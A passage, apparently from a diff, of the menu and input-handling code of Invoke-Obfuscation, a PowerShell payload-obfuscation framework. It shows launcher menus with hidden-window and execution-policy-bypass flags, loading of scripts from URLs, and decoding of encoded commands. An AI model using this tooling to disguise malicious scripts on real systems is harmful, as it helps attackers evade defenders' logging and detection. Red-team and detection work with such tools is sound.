powershell.exe)' , @('Out-PowerShellLauncher', '', '10')) + + ${MenuLevel_Launcher_RUNDLL++} = @() + ${MenuLevel_Launcher_RUNDLL++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '11')) + ${MenuLevel_Launcher_RUNDLL++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '11')) + + ${MenuLevel_Launcher_MSHTA++} = @() + ${MenuLevel_Launcher_MSHTA++} += , @("Enter string of numbers with all desired flags to pass to function. (e.g. 23459)`n", '' , '' , @('', '', '')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '0' , 'NO EXECUTION FLAGS' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '1' , '-NoExit' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '2' , '-NonInteractive' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '3' , '-NoLogo' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '4' , '-NoProfile' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '5' , '-Command' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '6' , '-WindowStyle Hidden' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '7' , '-ExecutionPolicy Bypass' , @('Out-PowerShellLauncher', '', '12')) + ${MenuLevel_Launcher_MSHTA++} += , @($LineSpacing, '8' , '-Wow64 (to path 32-bit powershell.exe)' , @('Out-PowerShellLauncher', '', '12')) + + # Input options to display non-interactive menus or perform actions. + $TutorialInputOptions = @(@('tutorial') , " of how to use this tool `t " ) + $MenuInputOptionsShowHelp = @(@('help','get-help','?','-?','/?','menu'), "Show this Menu `t " ) + $MenuInputOptionsShowOptions = @(@('show options','show','options') , " for payload to obfuscate `t " ) + $ClearScreenInputOptions = @(@('clear','clear-host','cls') , " screen `t " ) + $CopyToClipboardInputOptions = @(@('copy','clip','clipboard') , " ObfuscatedCommand to clipboard `t " ) + $OutputToDiskInputOptions = @(@('out') , "Write ObfuscatedCommand to disk `t " ) + $ExecutionInputOptions = @(@('exec','execute','test','run') , " ObfuscatedCommand locally `t " ) + $ResetObfuscationInputOptions = @(@('reset') , " ALL obfuscation for ObfuscatedCommand ") + $UndoObfuscationInputOptions = @(@('undo') , " LAST obfuscation for ObfuscatedCommand ") + $BackCommandInputOptions = @(@('back','cd ..') , "Go to previous obfuscation menu `t " ) + $ExitCommandInputOptions = @(@('quit','exit') , " Invoke-Obfuscation `t " ) + $HomeMenuInputOptions = @(@('home','main') , "Return to Menu `t " ) + # For Version 1.0 ASCII art is not necessary. + #$ShowAsciiArtInputOptions = @(@('ascii') , "Display random art for the lulz :)`t") + + # Add all above input options lists to be displayed in SHOW OPTIONS menu. + $AllAvailableInputOptionsLists = @() + $AllAvailableInputOptionsLists += , $TutorialInputOptions + $AllAvailableInputOptionsLists += , $MenuInputOptionsShowHelp + $AllAvailableInputOptionsLists += , $MenuInputOptionsShowOptions + $AllAvailableInputOptionsLists += , $ClearScreenInputOptions + $AllAvailableInputOptionsLists += , $ExecutionInputOptions + $AllAvailableInputOptionsLists += , $CopyToClipboardInputOptions + $AllAvailableInputOptionsLists += , $OutputToDiskInputOptions + $AllAvailableInputOptionsLists += , $ResetObfuscationInputOptions + $AllAvailableInputOptionsLists += , $UndoObfuscationInputOptions + $AllAvailableInputOptionsLists += , $BackCommandInputOptions + $AllAvailableInputOptionsLists += , $ExitCommandInputOptions + $AllAvailableInputOptionsLists += , $HomeMenuInputOptions + # For Version 1.0 ASCII art is not necessary. + #$AllAvailableInputOptionsLists += , $ShowAsciiArtInputOptions + + # Input options to change interactive menus. + $ExitInputOptions = $ExitCommandInputOptions[0] + $MenuInputOptions = $BackCommandInputOptions[0] + + # Obligatory ASCII Art. + Show-AsciiArt + Start-Sleep -Seconds 2 + + # Show Help Menu once at beginning of script. + Show-HelpMenu + + # Main loop for user interaction. Show-Menu function displays current function along with acceptable input options (defined in arrays instantiated above). + # User input and validation is handled within Show-Menu. + $UserResponse = '' + While($ExitInputOptions -NotContains ([String]$UserResponse).ToLower()) + { + $UserResponse = ([String]$UserResponse).Trim() + + If($HomeMenuInputOptions[0] -Contains ([String]$UserResponse).ToLower()) + { + $UserResponse = '' + } + + # Display menu if it is defined in a menu variable with $UserResponse in the variable name. + If(Test-Path ('Variable:' + "MenuLevel$UserResponse")) + { + $UserResponse = Show-Menu (Get-Variable "MenuLevel$UserResponse").Value $UserResponse $Script:OptionsMenu + } + Else + { + Write-Error "The variable MenuLevel$UserResponse does not exist." + $UserResponse = 'quit' + } + + If(($UserResponse -eq 'quit') -AND $CliWasSpecified -AND !$NoExitWasSpecified) + { + Write-Output $Script:ObfuscatedCommand.Trim("`n") + $UserInput = 'quit' + } + } +} + + +# Get location of this script no matter what the current directory is for the process executing this script. +$ScriptDir = [System.IO.Path]::GetDirectoryName($myInvocation.MyCommand.Definition) + + +Function Show-Menu +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays current menu with obfuscation navigation and application options for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-Menu +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-Menu displays current menu with obfuscation navigation and application options for Invoke-Obfuscation. + +.PARAMETER Menu + +Specifies the menu options to display, with acceptable input options parsed out of this array. + +.PARAMETER MenuName + +Specifies the menu header display and the breadcrumb used in the interactive prompt display. + +.PARAMETER Script:OptionsMenu + +Specifies the script-wide variable containing additional acceptable input in addition to each menu's specific acceptable input (e.g. EXIT, QUIT, BACK, HOME, MAIN, etc.). + +.EXAMPLE + +C:\PS> Show-Menu + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + Param( + [Parameter(ValueFromPipeline = $true)] + [ValidateNotNullOrEmpty()] + [Object[]] + $Menu, + + [String] + $MenuName, + + [Object[]] + $Script:OptionsMenu + ) + + # Extract all acceptable values from $Menu. + $AcceptableInput = @() + $SelectionContainsCommand = $FALSE + ForEach($Line in $Menu) + { + # If there are 4 items in each $Line in $Menu then the fourth item is a command to exec if selected. + If($Line.Count -eq 4) + { + $SelectionContainsCommand = $TRUE + } + $AcceptableInput += ($Line[1]).Trim(' ') + } + + $UserInput = $NULL + + While($AcceptableInput -NotContains $UserInput) + { + # Format custom breadcrumb prompt. + Write-Host "`n" + $BreadCrumb = $MenuName.Trim('_') + If($BreadCrumb.Length -gt 1) + { + If($BreadCrumb.ToLower() -eq 'show options') + { + $BreadCrumb = 'Show Options' + } + If($MenuName -ne '') + { + # Handle specific case substitutions from what is ALL CAPS in interactive menu and then correct casing we want to appear in the Breadcrumb. + $BreadCrumbOCD = @() + $BreadCrumbOCD += , @('ps' ,'PS') + $BreadCrumbOCD += , @('cmd' ,'Cmd') + $BreadCrumbOCD += , @('wmic' ,'Wmic') + $BreadCrumbOCD += , @('rundll' ,'RunDll') + $BreadCrumbOCD += , @('var+' ,'Var+') + $BreadCrumbOCD += , @('stdin+' ,'StdIn+') + $BreadCrumbOCD += , @('clip+' ,'Clip+') + $BreadCrumbOCD += , @('var++' ,'Var++') + $BreadCrumbOCD += , @('stdin++' ,'StdIn++') + $BreadCrumbOCD += , @('clip++' ,'Clip++') + $BreadCrumbOCD += , @('rundll++','RunDll++') + $BreadCrumbOCD += , @('mshta++' ,'Mshta++') + $BreadCrumbOCD += , @('ast', 'AST') + + $BreadCrumbArray = @() + ForEach($Crumb in $BreadCrumb.Split('_')) + { + # Perform casing substitutions for any matches in $BreadCrumbOCD array. + $StillLookingForSubstitution = $TRUE + ForEach($Substitution in $BreadCrumbOCD) + { + If($Crumb.ToLower() -eq $Substitution[0]) + { + $BreadCrumbArray += $Substitution[1] + $StillLookingForSubstitution = $FALSE + } + } + + # If no substitution occurred above then simply upper-case the first character and lower-case all the remaining characters. + If($StillLookingForSubstitution) + { + $BreadCrumbArray += $Crumb.SubString(0,1).ToUpper() + $Crumb.SubString(1).ToLower() + + # If no substitution was found for the 3rd or later BreadCrumb element (only for Launcher BreadCrumb) then throw a warning so we can add this substitution pair to $BreadCrumbOCD. + If(($BreadCrumb.Split('_').Count -eq 2) -AND ($BreadCrumb.StartsWith('Launcher_')) -AND ($Crumb -ne 'Launcher')) + { + Write-Warning "No substituion pair was found for `$Crumb=$Crumb in `$BreadCrumb=$BreadCrumb. Add this `$Crumb substitution pair to `$BreadCrumbOCD array in Invoke-Obfuscation." + } + } + } + $BreadCrumb = $BreadCrumbArray -Join '\' + } + $BreadCrumb = '\' + $BreadCrumb + } + + # Output menu heading. + $FirstLine = "Choose one of the below " + If($BreadCrumb -ne '') + { + $FirstLine = $FirstLine + $BreadCrumb.Trim('\') + ' ' + } + Write-Host "$FirstLine" -NoNewLine + + # Change color and verbiage if selection will execute command. + If($SelectionContainsCommand) + { + Write-Host "options" -NoNewLine -ForegroundColor Green + Write-Host " to" -NoNewLine + Write-Host " APPLY" -NoNewLine -ForegroundColor Green + Write-Host " to current payload" -NoNewLine + } + Else + { + Write-Host "options" -NoNewLine -ForegroundColor Yellow + } + Write-Host ":`n" + + ForEach($Line in $Menu) + { + $LineSpace = $Line[0] + $LineOption = $Line[1] + $LineValue = $Line[2] + Write-Host $LineSpace -NoNewLine + + # If not empty then include breadcrumb in $LineOption output (is not colored and won't affect user input syntax). + If(($BreadCrumb -ne '') -AND ($LineSpace.StartsWith('['))) + { + Write-Host ($BreadCrumb.ToUpper().Trim('\') + '\') -NoNewLine + } + + # Change color if selection will execute command. + If($SelectionContainsCommand) + { + Write-Host $LineOption -NoNewLine -ForegroundColor Green + } + Else + { + Write-Host $LineOption -NoNewLine -ForegroundColor Yellow + } + + # Add additional coloring to string encapsulated by <> if it exists in $LineValue. + If($LineValue.Contains('<') -AND $LineValue.Contains('>')) + { + $FirstPart = $LineValue.SubString(0,$LineValue.IndexOf('<')) + $MiddlePart = $LineValue.SubString($FirstPart.Length+1) + $MiddlePart = $MiddlePart.SubString(0,$MiddlePart.IndexOf('>')) + $LastPart = $LineValue.SubString($FirstPart.Length+$MiddlePart.Length+2) + Write-Host "`t$FirstPart" -NoNewLine + Write-Host $MiddlePart -NoNewLine -ForegroundColor Cyan + + # Handle if more than one term needs to be output in different color. + If($LastPart.Contains('<') -AND $LastPart.Contains('>')) + { + $LineValue = $LastPart + $FirstPart = $LineValue.SubString(0,$LineValue.IndexOf('<')) + $MiddlePart = $LineValue.SubString($FirstPart.Length+1) + $MiddlePart = $MiddlePart.SubString(0,$MiddlePart.IndexOf('>')) + $LastPart = $LineValue.SubString($FirstPart.Length+$MiddlePart.Length+2) + Write-Host "$FirstPart" -NoNewLine + If($MiddlePart.EndsWith("(PS3.0+)")) + { + Write-Host $MiddlePart -NoNewline -ForegroundColor Red + } + Else + { + Write-Host $MiddlePart -NoNewLine -ForegroundColor Cyan + } + } + + Write-Host $LastPart + } + Else + { + Write-Host "`t$LineValue" + } + } + + # Prompt for user input with custom breadcrumb prompt. + Write-Host '' + If($UserInput -ne '') {Write-Host ''} + $UserInput = '' + + While(($UserInput -eq '') -AND ($Script:CompoundCommand.Count -eq 0)) + { + # Output custom prompt. + Write-Host "Invoke-Obfuscation$BreadCrumb> " -NoNewLine -ForegroundColor Magenta + + # Get interactive user input if CliCommands input variable was not specified by user. + If(($Script:CliCommands.Count -gt 0) -OR ($Script:CliCommands -ne $NULL)) + { + If($Script:CliCommands.GetType().Name -eq 'String') + { + $NextCliCommand = $Script:CliCommands.Trim() + $Script:CliCommands = @() + } + Else + { + $NextCliCommand = ([String]$Script:CliCommands[0]).Trim() + $Script:CliCommands = For($i=1; $i -lt $Script:CliCommands.Count; $i++) {$Script:CliCommands[$i]} + } + + $UserInput = $NextCliCommand + } + Else + { + # If Command was defined on command line and NoExit switch was not defined then output final ObfuscatedCommand to stdout and then quit. Otherwise continue with interactive Invoke-Obfuscation. + If($CliWasSpecified -AND ($Script:CliCommands.Count -lt 1) -AND ($Script:CompoundCommand.Count -lt 1) -AND ($Script:QuietWasSpecified -OR !$NoExitWasSpecified)) + { + If($Script:QuietWasSpecified) + { + # Remove Write-Host and Start-Sleep proxy functions so that Write-Host and Start-Sleep cmdlets will be called during the remainder of the interactive Invoke-Obfuscation session. + Remove-Item -Path Function:Write-Host + Remove-Item -Path Function:Start-Sleep + + $Script:QuietWasSpecified = $FALSE + + # Automatically run 'Show Options' so the user has context of what has successfully been executed. + $UserInput = 'show options' + $BreadCrumb = 'Show Options' + } + # -NoExit wasn't specified and -Command was, so we will output the result back in the main While loop. + If(!$NoExitWasSpecified) + { + $UserInput = 'quit' + } + } + Else + { + $UserInput = (Read-Host).Trim() + } + + # Process interactive UserInput using CLI syntax, so comma-delimited and slash-delimited commands can be processed interactively. + If(($Script:CliCommands.Count -eq 0) -AND !$UserInput.ToLower().StartsWith('set ') -AND $UserInput.Contains(',')) + { + $Script:CliCommands = $UserInput.Split(',') + + # Reset $UserInput so current While loop will be traversed once more and process UserInput command as a CliCommand. + $UserInput = '' + } + } + } + + # Trim any leading trailing slashes so it doesn't misinterpret it as a compound command unnecessarily. + $UserInput = $UserInput.Trim('/\') + + # Cause UserInput of base menu level directories to automatically work. + # The only exception is STRING if the current MenuName is _token since it can be the base menu STRING or TOKEN/STRING. + If((($MenuLevel | ForEach-Object {$_[1].Trim()}) -Contains $UserInput.Split('/\')[0]) -AND !(('string' -Contains $UserInput.Split('/\')[0]) -AND ($MenuName -eq '_token')) -AND ($MenuName -ne '')) + { + $UserInput = 'home/' + $UserInput.Trim() + } + + # If current command contains \ or / and does not start with SET or OUT then we are dealing with a compound command. + # Setting $Script:CompounCommand in below IF block. + If(($Script:CompoundCommand.Count -eq 0) -AND !$UserInput.ToLower().StartsWith('set ') -AND !$UserInput.ToLower().StartsWith('out ') -AND ($UserInput.Contains('\') -OR $UserInput.Contains('/'))) + { + $Script:CompoundCommand = $UserInput.Split('/\') + } + + # If current command contains \ or / and does not start with SET then we are dealing with a compound command. + # Parsing out next command from $Script:CompounCommand in below IF block. + If($Script:CompoundCommand.Count -gt 0) + { + $UserInput = '' + While(($UserInput -eq '') -AND ($Script:CompoundCommand.Count -gt 0)) + { + # If last compound command then it will be a string. + If($Script:CompoundCommand.GetType().Name -eq 'String') + { + $NextCompoundCommand = $Script:CompoundCommand.Trim() + $Script:CompoundCommand = @() + } + Else + { + # If there are more commands left in compound command then it won't be a string (above IF block). + # In this else block we get the next command from CompoundCommand array. + $NextCompoundCommand = ([String]$Script:CompoundCommand[0]).Trim() + + # Set remaining commands back into CompoundCommand. + $Temp = $Script:CompoundCommand + $Script:CompoundCommand = @() + For($i=1; $i -lt $Temp.Count; $i++) + { + $Script:CompoundCommand += $Temp[$i] + } + } + $UserInput = $NextCompoundCommand + } + } + + # Handle new RegEx functionality. + # Identify if there is any regex in current UserInput by removing all alphanumeric characters (and + or # which are found in launcher names). + $TempUserInput = $UserInput.ToLower() + @(97..122) | ForEach-Object {$TempUserInput = $TempUserInput.Replace([String]([Char]$_),'')} + @(0..9) | ForEach-Object {$TempUserInput = $TempUserInput.Replace($_,'')} + $TempUserInput = $TempUserInput.Replace(' ','').Replace('+','').Replace('#','').Replace('\','').Replace('/','').Replace('-','').Replace('?','') + + If(($TempUserInput.Length -gt 0) -AND !($UserInput.Trim().ToLower().StartsWith('set ')) -AND !($UserInput.Trim().ToLower().StartsWith('out '))) + { + # Replace any simple wildcard with .* syntax. + $UserInput = $UserInput.Replace('.*','_____').Replace('*','.*').Replace('_____','.*') + + # Prepend UserInput with ^ and append with $ if not already there. + If(!$UserInput.Trim().StartsWith('^') -AND !$UserInput.Trim().StartsWith('.*')) + { + $UserInput = '^' + $UserInput + } + If(!$UserInput.Trim().EndsWith('$') -AND !$UserInput.Trim().EndsWith('.*')) + { + $UserInput = $UserInput + '$' + } + + # See if there are any filtered matches in the current menu. + Try + { + $MenuFiltered = ($Menu | Where-Object {($_[1].Trim() -Match $UserInput) -AND ($_[1].Trim().Length -gt 0)} | ForEach-Object {$_[1].Trim()}) + } + Catch + { + # Output error message if Regular Expression causes error in above filtering step. + # E.g. Using *+ instead of *[+] + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' The current Regular Expression caused the following error:' + write-host " $_" -ForegroundColor Red + } + + # If there are filtered matches in the current menu then randomly choose one for the UserInput value. + If($MenuFiltered -ne $NULL) + { + # Randomly select UserInput from filtered options. + $UserInput = (Get-Random -Input $MenuFiltered).Trim() + + # Output randomly chosen option (and filtered options selected from) if more than one option were returned from regex. + If($MenuFiltered.Count -gt 1) + { + # Change color and verbiage if acceptable options will execute an obfuscation function. + If($SelectionContainsCommand) + { + $ColorToOutput = 'Green' + } + Else + { + $ColorToOutput = 'Yellow' + } + + Write-Host "`n`nRandomly selected " -NoNewline + Write-Host $UserInput -NoNewline -ForegroundColor $ColorToOutput + write-host " from the following filtered options: " -NoNewline + + For($i=0; $i -lt $MenuFiltered.Count-1; $i++) + { + Write-Host $MenuFiltered[$i].Trim() -NoNewLine -ForegroundColor $ColorToOutput + Write-Host ', ' -NoNewLine + } + Write-Host $MenuFiltered[$MenuFiltered.Count-1].Trim() -NoNewLine -ForegroundColor $ColorToOutput + } + } + } + + # If $UserInput is all numbers and is in a menu in $MenusWithMultiSelectNumbers + $OverrideAcceptableInput = $FALSE + $MenusWithMultiSelectNumbers = @('\Launcher') + If(($UserInput.Trim(' 0123456789').Length -eq 0) -AND $BreadCrumb.Contains('\') -AND ($MenusWithMultiSelectNumbers -Contains $BreadCrumb.SubString(0,$BreadCrumb.LastIndexOf('\')))) + { + $OverrideAcceptableInput = $TRUE + } + + If($ExitInputOptions -Contains $UserInput.ToLower()) + { + Return $ExitInputOptions[0] + } + ElseIf($MenuInputOptions -Contains $UserInput.ToLower()) + { + # Commands like 'back' that will return user to previous interactive menu. + If($BreadCrumb.Contains('\')) {$UserInput = $BreadCrumb.SubString(0,$BreadCrumb.LastIndexOf('\')).Replace('\','_')} + Else {$UserInput = ''} + + Return $UserInput.ToLower() + } + ElseIf($HomeMenuInputOptions[0] -Contains $UserInput.ToLower()) + { + Return $UserInput.ToLower() + } + ElseIf($UserInput.ToLower().StartsWith('set ')) + { + # Extract $UserInputOptionName and $UserInputOptionValue from $UserInput SET command. + $UserInputOptionName = $NULL + $UserInputOptionValue = $NULL + $HasError = $FALSE + + $UserInputMinusSet = $UserInput.SubString(4).Trim() + If($UserInputMinusSet.IndexOf(' ') -eq -1) + { + $HasError = $TRUE + $UserInputOptionName = $UserInputMinusSet.Trim() + } + Else + { + $UserInputOptionName = $UserInputMinusSet.SubString(0,$UserInputMinusSet.IndexOf(' ')).Trim().ToLower() + $UserInputOptionValue = $UserInputMinusSet.SubString($UserInputMinusSet.IndexOf(' ')).Trim() + } + + # Validate that $UserInputOptionName is defined in $SettableInputOptions. + If($SettableInputOptions -Contains $UserInputOptionName) + { + # Perform separate validation for $UserInputOptionValue before setting value. Set to 'emptyvalue' if no value was entered. + If($UserInputOptionValue.Length -eq 0) {$UserInputOptionName = 'emptyvalue'} + Switch($UserInputOptionName.ToLower()) + { + 'scriptpath' { + If($UserInputOptionValue -AND ((Test-Path $UserInputOptionValue) -OR ($UserInputOptionValue -Match '(http|https)://'))) + { + # Reset ScriptBlock in case it contained a value. + $Script:ScriptBlock = '' + + # Check if user-input ScriptPath is a URL or a directory. + If($UserInputOptionValue -Match '(http|https)://') + { + # ScriptPath is a URL. + + # Download content. + $Script:ScriptBlock = (New-Object Net.WebClient).DownloadString($UserInputOptionValue) + + # Set script-wide variables for future reference. + $Script:ScriptPath = $UserInputOptionValue + $Script:ObfuscatedCommand = $Script:ScriptBlock + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscatedCommandHistory += $Script:ScriptBlock + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:LauncherApplied = $FALSE + + Write-Host "`n`nSuccessfully set ScriptPath (as URL):" -ForegroundColor Cyan + Write-Host $Script:ScriptPath -ForegroundColor Magenta + } + ElseIf ((Get-Item $UserInputOptionValue) -is [System.IO.DirectoryInfo]) + { + # ScriptPath does not exist. + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' Path is a directory instead of a file (' -NoNewLine + Write-Host "$UserInputOptionValue" -NoNewLine -ForegroundColor Cyan + Write-Host ").`n" -NoNewLine + } + Else + { + # Read contents from user-input ScriptPath value. + Get-ChildItem $UserInputOptionValue -ErrorAction Stop | Out-Null + $Script:ScriptBlock = [IO.File]::ReadAllText((Resolve-Path $UserInputOptionValue)) + + # Set script-wide variables for future reference. + $Script:ScriptPath = $UserInputOptionValue + $Script:ObfuscatedCommand = $Script:ScriptBlock + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscatedCommandHistory += $Script:ScriptBlock + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:LauncherApplied = $FALSE + + Write-Host "`n`nSuccessfully set ScriptPath:" -ForegroundColor Cyan + Write-Host $Script:ScriptPath -ForegroundColor Magenta + } + } + Else + { + # ScriptPath not found (failed Test-Path). + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' Path not found (' -NoNewLine + Write-Host "$UserInputOptionValue" -NoNewLine -ForegroundColor Cyan + Write-Host ").`n" -NoNewLine + } + } + 'scriptblock' { + # Remove evenly paired {} '' or "" if user includes it around their scriptblock input. + ForEach($Char in @(@('{','}'),@('"','"'),@("'","'"))) + { + While($UserInputOptionValue.StartsWith($Char[0]) -AND $UserInputOptionValue.EndsWith($Char[1])) + { + $UserInputOptionValue = $UserInputOptionValue.SubString(1,$UserInputOptionValue.Length-2).Trim() + } + } + + # Check if input is PowerShell encoded command syntax so we can decode for scriptblock. + If($UserInputOptionValue -Match 'powershell(.exe | )\s*-(e |ec |en |enc |enco |encod |encode)\s*["'']*[a-z=]') + { + # Extract encoded command. + $EncodedCommand = $UserInputOptionValue.SubString($UserInputOptionValue.ToLower().IndexOf(' -e')+3) + $EncodedCommand = $EncodedCommand.SubString($EncodedCommand.IndexOf(' ')).Trim(" '`"") + + # Decode Unicode-encoded $EncodedCommand + $UserInputOptionValue = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedCommand)) + } + + # Set script-wide variables for future reference. + $Script:ScriptPath = 'N/A' + $Script:ScriptBlock = $UserInputOptionValue + $Script:ObfuscatedCommand = $UserInputOptionValue + $Script:ObfuscatedCommandHistory = @() + $Script:ObfuscatedCommandHistory += $UserInputOptionValue + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + $Script:LauncherApplied = $FALSE + + Write-Host "`n`nSuccessfully set ScriptBlock:" -ForegroundColor Cyan + Write-Host $Script:ScriptBlock -ForegroundColor Magenta + } + 'emptyvalue' { + # No OPTIONVALUE was entered after OPTIONNAME. + $HasError = $TRUE + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' No value was entered after' -NoNewLine + Write-Host ' SCRIPTBLOCK/SCRIPTPATH' -NoNewLine -ForegroundColor Cyan + Write-Host '.' -NoNewLine + } + default {Write-Error "An invalid OPTIONNAME ($UserInputOptionName) was passed to switch block."; Exit} + } + } + Else + { + $HasError = $TRUE + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host ' OPTIONNAME' -NoNewLine + Write-Host " $UserInputOptionName" -NoNewLine -ForegroundColor Cyan + Write-Host " is not a settable option." -NoNewLine + } + + If($HasError) + { + Write-Host "`n Correct syntax is" -NoNewLine + Write-Host ' SET OPTIONNAME VALUE' -NoNewLine -ForegroundColor Green + Write-Host '.' -NoNewLine + + Write-Host "`n Enter" -NoNewLine + Write-Host ' SHOW OPTIONS' -NoNewLine -ForegroundColor Yellow + Write-Host ' for more details.' + } + } + ElseIf(($AcceptableInput -Contains $UserInput) -OR ($OverrideAcceptableInput)) + { + # User input matches $AcceptableInput extracted from the current $Menu, so decide if: + # 1) an obfuscation function needs to be called and remain in current interactive prompt, or + # 2) return value to enter into a new interactive prompt. + + # Format breadcrumb trail to successfully retrieve the next interactive prompt. + $UserInput = $BreadCrumb.Trim('\').Replace('\','_') + '_' + $UserInput + If($BreadCrumb.StartsWith('\')) {$UserInput = '_' + $UserInput} + + # If the current selection contains a command to execute then continue. Otherwise return to go to another menu. + If($SelectionContainsCommand) + { + # Make sure user has entered command or path to script. + If($Script:ObfuscatedCommand -ne $NULL) + { + # Iterate through lines in $Menu to extract command for the current selection in $UserInput. + ForEach($Line in $Menu) + { + If($Line[1].Trim(' ') -eq $UserInput.SubString($UserInput.LastIndexOf('_')+1)) {$CommandToExec = $Line[3]; Continue} + } + + If(!$OverrideAcceptableInput) + { + # Extract arguments from $CommandToExec. + $Function = $CommandToExec[0] + $Token = $CommandToExec[1] + $ObfLevel = $CommandToExec[2] + } + Else + { + # Overload above arguments if $OverrideAcceptableInput is $TRUE, and extract $Function from $BreadCrumb + Switch($BreadCrumb.ToLower()) + { + '\launcher\ps' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 1} + '\launcher\cmd' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 2} + '\launcher\wmic' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 3} + '\launcher\rundll' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 4} + '\launcher\var+' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 5} + '\launcher\stdin+' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 6} + '\launcher\clip+' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 7} + '\launcher\var++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 8} + '\launcher\stdin++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 9} + '\launcher\clip++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 10} + '\launcher\rundll++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 11} + '\launcher\mshta++' {$Function = 'Out-PowerShellLauncher'; $ObfLevel = 12} + default {Write-Error "An invalid value ($($BreadCrumb.ToLower())) was passed to switch block for setting `$Function when `$OverrideAcceptableInput -eq `$TRUE."; Exit} + } + # Extract $ObfLevel from first element in array (in case 0th element is used for informational purposes), and extract $Token from $BreadCrumb. + $ObfLevel = $Menu[1][3][2] + $Token = $UserInput.SubString($UserInput.LastIndexOf('_')+1) + } + + # Convert ObfuscatedCommand (string) to ScriptBlock for next obfuscation function. + If(!($Script:LauncherApplied)) + { + $ObfCommandScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock($Script:ObfuscatedCommand) + } + + # Validate that user has set SCRIPTPATH or SCRIPTBLOCK (by seeing if $Script:ObfuscatedCommand is empty). + If($Script:ObfuscatedCommand -eq '') + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " Cannot execute obfuscation commands without setting ScriptPath or ScriptBlock values in SHOW OPTIONS menu. Set these by executing" -NoNewLine + Write-Host ' SET SCRIPTBLOCK script_block_or_command' -NoNewLine -ForegroundColor Green + Write-Host ' or' -NoNewLine + Write-Host ' SET SCRIPTPATH path_to_script_or_URL' -NoNewLine -ForegroundColor Green + Write-Host '.' + Continue + } + + # Save current ObfuscatedCommand to see if obfuscation was successful (i.e. no warnings prevented obfuscation from occurring). + $ObfuscatedCommandBefore = $Script:ObfuscatedCommand + $CmdToPrint = $NULL + If($Function -eq 'Out-ObfuscatedAst' -AND $PSVersionTable.PSVersion.Major -lt 3) + { + $AstPS3ErrorMessage = "AST obfuscation can only be used with PS3.0+. Update to PS3.0 or higher to use AST obfuscation." + If ($Script:QuietWasSpecified) + { + Write-Error $AstPS3ErrorMessage + } + Else + { + Write-Host "`n`nERROR: " -NoNewLine -ForegroundColor Red + Write-Host $AstPS3ErrorMessage -NoNewLine + } + } + ElseIf($Script:LauncherApplied) + { + If($Function -eq 'Out-PowerShellLauncher') + { + $ErrorMessage = ' You have already applied a launcher to ObfuscatedCommand.' + } + Else + { + $ErrorMessage = ' You cannot obfuscate after applying a Launcher to ObfuscatedCommand.' + } + + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host $ErrorMessage -NoNewLine + Write-Host "`n Enter" 